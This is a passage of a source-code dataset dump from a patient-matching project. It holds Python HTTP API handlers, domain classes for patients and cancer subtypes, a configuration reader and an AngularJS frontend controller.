return self.__get_gene_aberrations(patient.differential_expression_record)\n\n def get_methylations(self, uuid: UUID) -> Iterable[Tuple[str, float]]:\n patient = self.__get_patient(uuid)\n return self.__get_gene_aberrations(patient.methylation_record)\n\n def get_cnvs(self, uuid: UUID) -> Iterable[Tuple[str, int]]:\n patient = self.__get_patient(uuid)\n return self.__get_gene_aberrations(patient.copy_number_variation_record)\n\n def __get_gene_aberrations(self, aberration_record: GeneAberrationRecord):\n result = set()\n for (gene, score) in aberration_record.an_aberration_set.gene_scores:\n gene_name = self.__controller_context.biology.gene_metanomenclature\\\n .get_nomenclature(\"ensembl\").get_name_for_object(gene)\n result.add((gene_name, score))\n return frozenset(result)\n\n\n def __get_patient(self, uuid: UUID) -> Patient:\n assert uuid is not None\n with self.__lock:\n assert uuid in self.__patient_per_id\n patient = self.__patient_per_id[uuid]\n return patient\n\n\n # MANIPULATING PATIENTS\n\n def new_patient(self) -> UUID:\n patient = Patient()\n\n with self.__lock:\n self.__patient_ids.append(patient.uuid)\n self.__patient_per_id[patient.uuid] = patient\n\n return patient.uuid\n\n def set_name_for_patient(self, uuid: UUID, name: str):\n self.__get_patient(uuid).name = name\n\n def set_cancer_subtype_for_patient(self, patient_id: UUID, cancer_subtype_id: int):\n assert patient_id is not None\n assert cancer_subtype_id is not None\n assert isinstance(cancer_subtype_id, int)\n with self.__lock:\n cancer_subtype = self.__controller_context.get_cancer_subtype_for_id(cancer_subtype_id)\n if cancer_subtype is None:\n print('Tried to find cancer subtype with id: ')\n print(cancer_subtype_id)\n raise KeyError\n self.__patient_per_id[patient_id].cancer_subtype = cancer_subtype\n" }, { "alpha_fraction": 0.7559055089950562, "alphanum_fraction": 0.7559055089950562, "avg_line_length": 36.35293960571289, "blob_id": "037411b2abf3f4c52776c2a8201f064f2aefb2ab", "content_id": "83c872a9f3213b3ad63b6e39e165790aaec49663", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 635, "license_type": "no_license", "max_line_length": 74, "num_lines": 17, "path": "/computation_and_database/domain/computation/SimilarPatientsComputationMethod.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "import domain.state.SimilarPatientsComputationMethod\nfrom domain.state.Biology import Biology as Biology\nfrom domain.state.Patient import Patient as Patient\nfrom domain.state.SimilarPatientList import SimilarPatientList\\\n as SimilarPatientList\nfrom typing import Iterable\nimport abc\n\nclass SimilarPatientComputationMethod(\n domain.state.SimilarPatientsComputationMethod.\n SimilarPatientsComputationMethod):\n\n @abc.abstractmethod\n def compute_similar_patients(self, biology: Biology, patient: Patient,\n all_patients: Iterable[Patient])\\\n -> SimilarPatientList:\n pass\n" }, { "alpha_fraction": 0.6966292262077332, "alphanum_fraction": 0.697650671005249, "avg_line_length": 45.66666793823242, "blob_id": "fc67b9521f63f9cf62362dc8cb8242dba9b9d52a", "content_id": "49cdf4a0e0425b140b86d3e9be72d90a34f6826b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 979, "license_type": "no_license", "max_line_length": 107, "num_lines": 21, "path": "/computation_and_database/api/request_handlers/AberrationsRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nfrom uuid import UUID\n\nclass AberrationsRequestHandler:\n endpoint = \"/patients/{id}/aberrations/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n controller_facade = general_request_handler.controller_facade\n\n patient_id = UUID(general_request_handler.ids[0])\n\n json = {\n 'self': general_request_handler\n .get_url_for_endpoint(AberrationsRequestHandler.endpoint.replace('{id}', str(patient_id))),\n 'mutated_gene_vafs': dict(controller_facade.get_mutated_gene_vafs_for_patient(patient_id)),\n 'expressions': dict(controller_facade.get_expressions_for_patient(patient_id)),\n 'methylations': dict(controller_facade.get_methylations_for_patient(patient_id)),\n 'cnvs': dict(controller_facade.get_cnvs_for_patient(patient_id))\n }\n\n general_request_handler.send_json_response(json)" }, { "alpha_fraction": 0.5695208311080933, "alphanum_fraction": 0.5754909515380859, "avg_line_length": 34.36111068725586, "blob_id": "66ab3183a6bd8168711625a56194ba4af939bc7d", "content_id": "be2bb4b5a5421ba39e9e0c19e16f20fbc446501b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6365, "license_type": "no_license", "max_line_length": 107, "num_lines": 180, "path": "/computation_and_database/api/request_handlers/GeneralRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from controllers.ControllerFacade import ControllerFacade\nfrom http.server import BaseHTTPRequestHandler\nfrom typing import Sequence, Mapping\nimport json\nimport re\nimport traceback\n\n\nclass GeneralRequestHandler(BaseHTTPRequestHandler):\n \"\"\"\n Receives requests and sends them to the right specific handler.\n Also contains general methods for handling requests.\n \"\"\"\n\n def do_GET(self):\n self.__handle_request()\n\n def do_POST(self):\n self.__handle_request()\n\n def do_PUT(self):\n self.__handle_request()\n\n def do_OPTIONS(self):\n print(\"Asked options.\")\n self.send_response(200)\n self.send_header('Access-Control-Allow-Headers', 'content-type')\n self.end_headers()\n\n def send_json_response(self, json_object):\n \"\"\"\n Sends a JSON response, not an error.\n :param json_object: should be an object that can be serialized\n to json, like a dict or list\n \"\"\"\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n\n reply = json.dumps(json_object)\n\n self.wfile.write(bytes(reply, \"utf8\"))\n\n def get_url_for_endpoint(self, endpoint: str) -> str:\n return {'href': self.server.base_url_with_port + endpoint}\n\n @property\n def self_url(self):\n return self.server.base_url_with_port + self.path\n\n @property\n def controller_facade(self) -> ControllerFacade:\n return self.server.controller_facade\n\n @property\n def input_json_object(self):\n input_str = self.rfile.read(int(self.headers['Content-Length'])).decode('utf8')\n print(\"Decoding JSON:\")\n print(input_str)\n return json.loads(input_str)\n\n def end_headers(self):\n \"\"\"\n Add own headers.\n \"\"\"\n self.send_header('Access-Control-Allow-Origin', '*')\n BaseHTTPRequestHandler.end_headers(self)\n\n def __handle_request(self):\n try:\n print(self.command + \" to \" + self.__endpoint)\n\n specific_handler =\\\n self.server.get_handler_for_endpoint(self.__endpoint)\n\n if specific_handler is None:\n self.__send_endpoint_not_found()\n else:\n try:\n if self.command == 'GET':\n specific_handler.get(self)\n elif self.command == 'POST':\n specific_handler.post(self)\n elif self.command == 'PUT':\n specific_handler.put(self)\n except AttributeError as e:\n print(str(traceback.format_exc()))\n self.__send_method_not_supported()\n\n except BaseException as e:\n self.__handle_general_exception(traceback.format_exc())\n\n def send_syntax_error(self, message: str):\n print(\"Client sent request with syntax error.\")\n print(message)\n self.send_error(400, \"Syntax error: \" + message)\n\n def send_resource_not_found(self):\n print(\"Nonexistent resource requested.\")\n self.send_error(404, \"The specified resource was not found.\")\n\n def check_names_per_nomenclature_structure(self, names_per_nomenclature) -> bool:\n \"\"\"\n Check whether the structure of a 'names_per_nomenclature' field in JSON was correct.\n \"\"\"\n if names_per_nomenclature is None:\n self.send_syntax_error(\"Field 'names_per_nomenclature' was missing.\")\n return False;\n elif not isinstance(names_per_nomenclature, dict):\n self.send_syntax_error(\"Field 'names_per_nomenclature' is not a dictionary.\")\n return False\n else:\n for (nomenclature_name, names) in names_per_nomenclature.items():\n if not isinstance(nomenclature_name, str):\n self.send_syntax_error(\"Field 'names_per_nomenclature' has keys that are not strings.\")\n return False\n elif not isinstance(names, list):\n self.send_syntax_error(\"Field 'names_per_nomenclature' has keys that are not lists.\")\n return False\n else:\n for name in names:\n if not isinstance(name, str):\n self.send_syntax_error(\"The given names are not strings\")\n return False\n return True\n\n def __send_endpoint_not_found(self):\n print(\"Client requested endpoint that was not found.\")\n self.send_error(404, \"The specified endpoint was not found.\")\n\n def __send_method_not_supported(self):\n print(\"Tried \" + self.command +\n \" on endpoint that doesn't support it.\")\n self.send_error(405,\n \"The specified endpoint doesn't support the method \"\n + self.command + \". This could also be caused by unexpected input.\")\n\n def __handle_general_exception(self, exceptionInfo):\n print(exceptionInfo)\n self.send_error(500, str(exceptionInfo))\n\n def extract_ids(self, url: str):\n \"\"\"\n Makes a list of the numerical ids or uuids in the url, in the order\n in which they appeared.\n \"\"\"\n return [s for s in url.split('/') if\n re.fullmatch(\"[a-zA-Z0-9-]*[0-9]+[a-zA-Z0-9-]*\", s)]\n\n @property\n def ids(self) -> Sequence[str]:\n return self.extract_ids(self.path)\n\n @property\n def url_params(self) -> Mapping[str, str]:\n if '?' in self.path:\n params_part = self.path.split('?')[1]\n else:\n return dict()\n param_assignments = params_part.split('&')\n params = dict()\n for assignment in param_assignments:\n parts = assignment.split('=')\n name = parts[0]\n value = parts[1]\n params[name] = value\n return params\n\n @property\n def __endpoint(self):\n \"\"\"\n The path in the api.\n Any numeric id will be replaced by {id}\n If the api is located on a seperate relative path (like '/api')\n this function should remove that part.\n This removes url parameters and\n \"\"\"\n endpoint = re.sub(\"[a-zA-Z0-9-]*[0-9]+[a-zA-Z0-9-]*\", \"{id}\", self.path)\n endpoint = re.sub(\"\\?.*\", \"\", endpoint)\n return endpoint\n" }, { "alpha_fraction": 0.6065573692321777, "alphanum_fraction": 0.6320582628250122, "avg_line_length": 25.80487823486328, "blob_id": "510d99996b11a9105868771971cbcdc72b65303f", "content_id": "1115583b5a4eb3fb20c7b601f5a13c5d24644be8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1098, "license_type": "no_license", "max_line_length": 99, "num_lines": 41, "path": "/hello_world/web_service/web_service.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from http.server import BaseHTTPRequestHandler, HTTPServer\nimport requests\n\n\n# The handler for the HTTP requests.\nclass RequestHandler(BaseHTTPRequestHandler):\n # GET\n def do_GET(self):\n # Send response status code\n self.send_response(200)\n\n # Send headers\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n\n # Get the message from data processing and send it to the client\n data_request = requests.get('http://localhost:8081')\n\n if(data_request.status_code != 200):\n # An error has occurred\n message = \"Error.\"\n else:\n message = data_request.text\n\n # Write content as utf-8 data\n self.wfile.write(bytes(message, \"utf8\"))\n return\n\n\ndef run():\n print('starting server...')\n\n # Server settings\n # Choose port 8082, for port 80, which is normally used for a http server, you need root access\n server_address = ('127.0.0.1', 8082)\n httpd = HTTPServer(server_address, RequestHandler)\n print('running server...')\n httpd.serve_forever()\n\n\nrun()" }, { "alpha_fraction": 0.717391312122345, "alphanum_fraction": 0.717391312122345, "avg_line_length": 14.666666984558105, "blob_id": "fac95bf732d83572873abf652716d6f1ab2e163f", "content_id": "a4a8fdd579c2f71b35235c3f67384ab79504ca9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46, "license_type": "no_license", "max_line_length": 38, "num_lines": 3, "path": "/computation_and_database/domain/__init__.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "\"\"\"\nUse a DomainInitializer when possible!\n\"\"\"" }, { "alpha_fraction": 0.7991631627082825, "alphanum_fraction": 0.7991631627082825, "avg_line_length": 38.83333206176758, "blob_id": "8172c40a2d8b1a00768980441ffdabd0b8561c8f", "content_id": "91c1d6dc03f17c9fc55b47f900fb67e5229f28ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 239, "license_type": "no_license", "max_line_length": 73, "num_lines": 6, "path": "/computation_and_database/api/request_handlers/SimilarPatientsRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "\"\"\"\nHandles requests on the /patients/{patientID}/similar-patients/requests/,\n/patients/{patientID}/similar-patients/requests/{requestID} and\n/patients/{patientID}/similar-patients/{resultID} paths\n\"\"\"\nclass SimilarPatientsRequestHandler:\n" }, { "alpha_fraction": 0.8235294222831726, "alphanum_fraction": 0.8235294222831726, "avg_line_length": 34, "blob_id": "35a855d6a229ef23a6381f71e6e1056e394d15a1", "content_id": "a7a10ee897561c2a7f9e07e0a053a0bb3ae7a88a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34, "license_type": "no_license", "max_line_length": 34, "num_lines": 1, "path": "/computation_and_database/api/__init__.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers import *" }, { "alpha_fraction": 0.683057427406311, "alphanum_fraction": 0.684518039226532, "avg_line_length": 46.79069900512695, "blob_id": "a1fc4296e9e6aac7529b57495f8c1f3949b0b03d", "content_id": "12b738d7a0de601f9882d357ab4912b16ed27953", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2054, "license_type": "no_license", "max_line_length": 115, "num_lines": 43, "path": "/computation_and_database/api/request_handlers/PatientRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nfrom api.request_handlers.AberrationsRequestHandler import AberrationsRequestHandler\nfrom api.request_handlers.SimilarPatientListListRequestHandler import SimilarPatientListListRequestHandler\nfrom api.request_handlers.CancerSubtypeRequestHandler import CancerSubtypeRequestHandler\nfrom uuid import UUID\n\n\nclass PatientRequestHandler:\n endpoint = \"/patients/{id}/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n patient_id = UUID(general_request_handler.ids[0])\n return self.get_for_id(general_request_handler, patient_id)\n\n def get_for_id(self, general_request_handler: GeneralRequestHandler, patient_id):\n controller_facade = general_request_handler.controller_facade\n\n json_object = {\n 'self': general_request_handler\n .get_url_for_endpoint(PatientRequestHandler.endpoint.replace('{id}', str(patient_id))),\n 'id': str(patient_id),\n 'name': controller_facade.get_name_for_patient(patient_id),\n 'gene_aberrations': general_request_handler\n .get_url_for_endpoint(AberrationsRequestHandler.endpoint.replace('{id}', str(patient_id))),\n 'similar_patient_lists': SimilarPatientListListRequestHandler.endpoint.replace('{id}', str(patient_id))\n }\n\n if controller_facade.get_cancer_subtype_id_for_patient(patient_id) is not None:\n cancer_subtype_link = CancerSubtypeRequestHandler.endpoint.replace(\n '{id}',\n str(controller_facade.get_cancer_type_id_for_patient(patient_id)),\n 1\n )\n\n cancer_subtype_link = general_request_handler.get_url_for_endpoint(cancer_subtype_link.replace(\n '{id}',\n str(controller_facade.get_cancer_subtype_id_for_patient(patient_id)),\n 1\n ))\n\n json_object['cancer_subtype'] = cancer_subtype_link\n\n general_request_handler.send_json_response(json_object)" }, { "alpha_fraction": 0.6519376039505005, "alphanum_fraction": 0.6526389718055725, "avg_line_length": 41.24444580078125, "blob_id": "3253d998944dfe88eba658b2e47afd650c2c7a4c", "content_id": "c72c2e907262517d6b619aeb019b1555b9e5caf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5703, "license_type": "no_license", "max_line_length": 118, "num_lines": 135, "path": "/computation_and_database/api/request_handlers/PatientListRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nfrom api.request_handlers.CancerTypeListRequestHandler import\\\n CancerTypeListRequestHandler\nfrom api.request_handlers.PatientRequestHandler import PatientRequestHandler\nfrom api.ApiServer import ApiServer\nfrom controllers.ControllerFacade import ControllerFacade\nimport re\n\n\nclass PatientListRequestHandler:\n endpoint = \"/patients/\"\n filter_url_param = \"query\"\n first_patient_url_param = \"first-patient\"\n number_of_patients_url_param = \"number-of-patients\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n print(\"Patient list requested.\")\n\n server = general_request_handler.server\n controller_facade = server.controller_facade\n\n current_page_url = general_request_handler.self_url\n patient_list = self.get_patient_list(\n general_request_handler=general_request_handler,\n controller_facade=controller_facade,\n server=server\n )\n\n json_object = {\n 'self': {'href': current_page_url},\n 'patients': patient_list\n }\n\n if general_request_handler.url_params.get(PatientListRequestHandler.number_of_patients_url_param) is not None:\n next_page_url = self.get_next_page_url(general_request_handler=general_request_handler)\n previous_page_url = self.get_previous_page_url(general_request_handler=general_request_handler)\n json_object['next_page'] = {'href': next_page_url}\n json_object['previous_page'] = {'href': previous_page_url}\n\n\n general_request_handler.send_json_response(json_object)\n\n def post(self, general_request_handler: GeneralRequestHandler):\n input_json = general_request_handler.input_json_object\n\n name = input_json.get('name')\n cancer_subtype_url = input_json.get('cancer_subtype')\n\n if cancer_subtype_url is not None:\n # extract the id\n cancer_subtype_url_ids = general_request_handler.extract_ids(cancer_subtype_url)\n\n if len(cancer_subtype_url_ids) != 2 :\n general_request_handler.send_syntax_error('Could not parse cancer subtype url.')\n\n cancer_subtype_id = int(cancer_subtype_url_ids[1])\n\n controller_facade = general_request_handler.controller_facade\n patient_id = controller_facade.new_patient()\n\n if cancer_subtype_url is not None:\n controller_facade.set_cancer_subtype_for_patient(\n patient_id=patient_id,\n cancer_subtype_id=cancer_subtype_id\n )\n\n if name is not None:\n controller_facade.set_name_for_patient(patient_id, name)\n\n PatientRequestHandler().get_for_id(\n general_request_handler=general_request_handler,\n patient_id=patient_id\n )\n\n\n def get_patient_list(self,\n general_request_handler: GeneralRequestHandler,\n controller_facade: ControllerFacade,\n server: ApiServer):\n url_params = general_request_handler.url_params\n filter_query = url_params.get(PatientListRequestHandler.filter_url_param)\n first_patient_index = url_params.get(PatientListRequestHandler.first_patient_url_param)\n if first_patient_index is not None:\n first_patient_index = int(first_patient_index)\n number_of_patients = url_params.get(PatientListRequestHandler.number_of_patients_url_param)\n if number_of_patients is not None:\n number_of_patients = int(number_of_patients)\n\n ids = controller_facade.get_patient_ids(\n filter_query=filter_query,\n first_patient=first_patient_index,\n number_of_patients=number_of_patients)\n\n patient_json_objects = list()\n\n for patient_id in ids:\n patient_json_objects.append(\n {'href': server.base_url_with_port +\n PatientListRequestHandler.endpoint + str(patient_id) + \"/\"}\n )\n\n return patient_json_objects\n\n def get_next_page_url(self, general_request_handler: GeneralRequestHandler):\n url_params = general_request_handler.url_params\n number_of_patients = \\\n int(url_params.get(PatientListRequestHandler.number_of_patients_url_param))\n return self.__get_page_url_with_offset(\n general_request_handler=general_request_handler,\n offset=number_of_patients\n )\n\n def get_previous_page_url(self, general_request_handler: GeneralRequestHandler):\n url_params = general_request_handler.url_params\n number_of_patients = \\\n int(url_params.get(PatientListRequestHandler.number_of_patients_url_param))\n return self.__get_page_url_with_offset(\n general_request_handler=general_request_handler,\n offset=-number_of_patients\n )\n\n def __get_page_url_with_offset(self, general_request_handler: GeneralRequestHandler, offset: int):\n \"\"\"\n Get a page url starting from offset patients further than the current first patient.\n \"\"\"\n url_params = general_request_handler.url_params\n current_first_patient_index = \\\n int(url_params.get(PatientListRequestHandler.first_patient_url_param))\n new_first_patient_index = current_first_patient_index + offset\n current_page_url = general_request_handler.self_url\n param_name = PatientListRequestHandler.first_patient_url_param\n return re.sub(param_name + \"=-?[0-9]*\",\n param_name + \"=\" + str(new_first_patient_index),\n current_page_url\n )\n" }, { "alpha_fraction": 0.6482269763946533, "alphanum_fraction": 0.6482269763946533, "avg_line_length": 27.239999771118164, "blob_id": "a9492575e54b958b299e34ea5c5829db6bc178ec", "content_id": "6d610261024ed71824d072104fce09657efa13e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 705, "license_type": "no_license", "max_line_length": 76, "num_lines": 25, "path": "/computation_and_database/ConfigurationReader.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "import yaml\n\n\nclass ConfigurationReader:\n \"\"\"\n Provide the configuration values to the rest of the application.\n For each value there will simply be a method to retrieve it.\n \"\"\"\n __CONFIG_FILE_NAME = 'config.yaml'\n\n def __init__(self):\n with open(self.__CONFIG_FILE_NAME, 'r') as config_file:\n self.__config_contents = yaml.load(config_file)\n\n @property\n def initial_number_of_patients_per_page(self):\n return self.__config_contents[\"initial_number_of_patients_per_page\"]\n\n @property\n def base_url(self):\n return self.__config_contents[\"base_url\"]\n\n @property\n def port_number(self):\n return self.__config_contents[\"port_number\"]" }, { "alpha_fraction": 0.6821191906929016, "alphanum_fraction": 0.6821191906929016, "avg_line_length": 26.545454025268555, "blob_id": "0549edba74edeb7eda65462a056031bec88341bd", "content_id": "3359d0a937ded0c8be60892b6399a28af655bf24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 302, "license_type": "no_license", "max_line_length": 60, "num_lines": 11, "path": "/computation_and_database/domain/state/CancerSubtype.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.CancerType import CancerType as CancerType\n\nclass CancerSubtype:\n\n def __init__(self, cancer_type: CancerType):\n assert cancer_type is not None\n self.__cancer_type = cancer_type\n\n @property\n def cancer_type(self) -> CancerType:\n return self.__cancer_type" }, { "alpha_fraction": 0.5996275544166565, "alphanum_fraction": 0.6033519506454468, "avg_line_length": 28.309091567993164, "blob_id": "c5bbe3850cb102816ff8ca89e2f13980104daab0", "content_id": "a3135e985f8225d2f21336e1cff1602b979deb38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1611, "license_type": "no_license", "max_line_length": 84, "num_lines": 55, "path": "/frontend/controllers/cancer-types.js", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "/**\n * Created by milan on 24/03/17.\n */\n\ndoa.controller('CancerTypesCtrl', function($scope, $http, apiService) {\n //Data from server\n function refresh() {\n apiService.withCancerTypesUrl(function (url) {\n apiService.get(url, function (data) {\n extractCancerTypes(data.cancer_types)\n })\n })\n }\n\n\n // Get the cancer types from a list of links (in format {href:url})\n function extractCancerTypes(linkList) {\n $scope.cancerTypes = apiService.extractObjectsFromList(linkList)\n }\n\n refresh()\n\n\n //Input data\n $scope.inputNamesPerNomenclature = {}\n\n $scope.addInputName = function () {\n nomenclatureName = $scope.inputNomenclatureName\n\n if(!(nomenclatureName in $scope.inputNamesPerNomenclature)){\n $scope.inputNamesPerNomenclature[nomenclatureName] = []\n }\n\n $scope.inputNamesPerNomenclature[nomenclatureName].push($scope.inputName)\n }\n\n $scope.createCancerType = function () {\n newCancerType = {\n \"names_per_nomenclature\" : $scope.inputNamesPerNomenclature\n }\n\n $scope.inputNamesPerNomenclature = {}\n\n apiService.withCancerTypesUrl(function (url) {\n $http.post(url, newCancerType).then(function successCallback(response) {\n alert(\"Submitted successfully\");\n }, function errorCallback(response) {\n alert(\"Error when submitting: \" + response.statusText + '\\n' +\n response.data);\n console.log(response)\n });\n })\n refresh()\n }\n});" }, { "alpha_fraction": 0.6213468909263611, "alphanum_fraction": 0.6251588463783264, "avg_line_length": 39.35897445678711, "blob_id": "72b5d631e2767142f733ce31fc70bdc4495b1458", "content_id": "b159399aa22019c35f7153478f3e8f63d05d5d69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1574, "license_type": "no_license", "max_line_length": 100, "num_lines": 39, "path": "/computation_and_database/api/request_handlers/CancerSubtypeRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nimport re\n\n\nclass CancerSubtypeRequestHandler:\n endpoint = '/cancer-types/{id}/subtypes/{id}/'\n\n def get(self, general_request_handler: GeneralRequestHandler):\n subtype_id = int(general_request_handler.ids[1])\n self.get_for_id(\n general_request_handler=general_request_handler,\n subtype_id=subtype_id\n )\n\n def get_for_id(self, general_request_handler: GeneralRequestHandler, subtype_id: int):\n cancer_type_id = int(general_request_handler.ids[0])\n\n server = general_request_handler.server\n controller_facade = server.controller_facade\n\n if cancer_type_id not in controller_facade.cancer_type_ids or\\\n subtype_id not in controller_facade.get_cancer_subtype_ids_for_type(cancer_type_id):\n general_request_handler.send_resource_not_found()\n return\n\n self_url = server.base_url_with_port +\\\n CancerSubtypeRequestHandler.endpoint\\\n .replace('{id}', str(cancer_type_id), 1)\\\n .replace('{id}', str(subtype_id), 1)\n cancer_type_url = re.sub('subtypes/[0-9]*/', '', self_url)\n\n json_object = {\n 'self': {'href': self_url},\n 'cancer_type': {'href': cancer_type_url},\n 'names_per_nomenclature': controller_facade.get_cancer_subtype_names_per_nomenclature(\n cancer_type_id, subtype_id)\n }\n\n general_request_handler.send_json_response(json_object)\n" }, { "alpha_fraction": 0.66707843542099, "alphanum_fraction": 0.66707843542099, "avg_line_length": 34.977779388427734, "blob_id": "773c6faf973442e599a54992cafdeac5d58e5d65", "content_id": "a09c55130b446caf677e9c68780afc50f879abf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1619, "license_type": "no_license", "max_line_length": 79, "num_lines": 45, "path": "/computation_and_database/api/ApiServer.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from http.server import HTTPServer\n\nfrom ConfigurationReader import ConfigurationReader\nfrom api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nfrom controllers.ControllerFacade import ControllerFacade\n\n\nclass ApiServer(HTTPServer):\n\n def __init__(self):\n self.__configuration_reader = ConfigurationReader()\n server_address = (self.__configuration_reader.base_url,\n self.__configuration_reader.port_number)\n super().__init__(server_address, GeneralRequestHandler)\n self.__handlers_per_endpoint = dict()\n self.__controller_facade = ControllerFacade()\n\n def get_handler_for_endpoint(self, endpoint: str):\n handler_class = self.__handlers_per_endpoint.get(endpoint)\n if handler_class is None:\n return None\n else:\n return handler_class()\n\n def register_handler_class_for_endpoint(self, endpoint:str, handler_class):\n \"\"\"\n This should be called in the files of these classes.\n (Avoids circular dependency and errors when removing the file.)\n \"\"\"\n print(\"Registered endpoint \" + endpoint)\n self.__handlers_per_endpoint[endpoint] = handler_class\n\n @property\n def configuration_reader(self):\n return self.__configuration_reader\n\n @property\n def controller_facade(self):\n return self.__controller_facade\n\n @property\n def base_url_with_port(self):\n base_url = self.__configuration_reader.base_url\n port_str = str(self.__configuration_reader.port_number)\n return 'http://' + base_url + ':' + port_str\n" }, { "alpha_fraction": 0.6268758773803711, "alphanum_fraction": 0.6268758773803711, "avg_line_length": 35.650001525878906, "blob_id": "28a4bdb2a3144e2e495b7bdad39015f997c479fc", "content_id": "00ce7d4364cb57e6a31da02c74abbea8cd28c725", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1466, "license_type": "no_license", "max_line_length": 79, "num_lines": 40, "path": "/computation_and_database/api/request_handlers/SimilarPatientsComputationMethodsRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import\\\n GeneralRequestHandler\nfrom api.ApiServer import ApiServer\n\nclass SimilarPatientsComputationMethodsRequestHandler:\n \"\"\"\n Handles requests on the /similar-patients-computation-methods/\n path.\n \"\"\"\n endpoint = \"/similar-patients-computation-methods/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n print(\"Similar patients computation methods requested.\")\n\n server = general_request_handler.server\n\n json_object = {\n \"self\": {\"href\":\n server.base_url_with_port +\n SimilarPatientsComputationMethodsRequestHandler.endpoint},\n \"methods\": self.__methods_json_list(server)\n }\n\n general_request_handler.send_json_response(json_object)\n\n def __methods_json_list(self, server: ApiServer) -> list:\n json_list = list()\n for id in server.controller_facade.computation_method_ids:\n url_for_id = self.__get_url_for_id(server, id)\n name = server.controller_facade.computation_method_name_for_id(id)\n json_list.append({\n \"href\": url_for_id,\n \"name\": name\n })\n return json_list\n\n def __get_url_for_id(self, server: ApiServer, id: int) -> str:\n return server.base_url_with_port +\\\n SimilarPatientsComputationMethodsRequestHandler.endpoint +\\\n str(id) + \"/\"\n" }, { "alpha_fraction": 0.6506040096282959, "alphanum_fraction": 0.6525735259056091, "avg_line_length": 40.15675735473633, "blob_id": "58aa9cc59ce9d45b92072522c94813c4690feedc", "content_id": "cdfcf3262b2e426cb178ff48c886a3300962f7fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7616, "license_type": "no_license", "max_line_length": 115, "num_lines": 185, "path": "/computation_and_database/domain/DomainInitializer.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.Biology import Biology\nfrom domain.state.Patient import Patient\nfrom domain.state.SimilarPatientsComputationMethod import\\\n SimilarPatientsComputationMethod\nfrom domain.state.CancerType import CancerType\nfrom domain.state.CancerSubtype import CancerSubtype\nfrom domain.state.Gene import Gene\nfrom domain.state.GeneAberrationSet import GeneAberrationSet\nfrom typing import Iterable, Mapping\nimport csv\nimport numpy as np\n\nclass DomainInitializer:\n \"\"\"\n Will initialize the domain objects that should be initialized\n by the domain package.\n This will mainly include connecting to the persistence layer\n and making sure everything happens in the right order.\n The biology and patients are initialized because they come from\n the database.\n The similar patients computation methods are initialized because\n the instances that have to be present can change (methods can be added), this change\n will then only affect the domain package.\n \"\"\"\n def __init__(self):\n self.__biology = Biology()\n self.__similar_patients_computation_methods = set()\n self.__patients = set()\n self.__cancer_types = set()\n self.__cancer_subtypes = set()\n self.__read_ensembl_reactome()\n self.__read_brca_data()\n\n @property\n def biology(self) -> Biology:\n return self.__biology\n\n @property\n def persisted_patients(self) -> Iterable[Patient]:\n \"\"\"\n The patients from the database.\n \"\"\"\n return frozenset(self.__patients)\n\n @property\n def similar_patients_computation_methods(self)\\\n -> Iterable[SimilarPatientsComputationMethod]:\n return frozenset(self.__similar_patients_computation_methods)\n\n @property\n def cancer_types(self) -> Iterable[CancerType]:\n return frozenset(self.__cancer_types)\n\n @property\n def cancer_subtypes(self) -> Iterable[CancerSubtype]:\n return 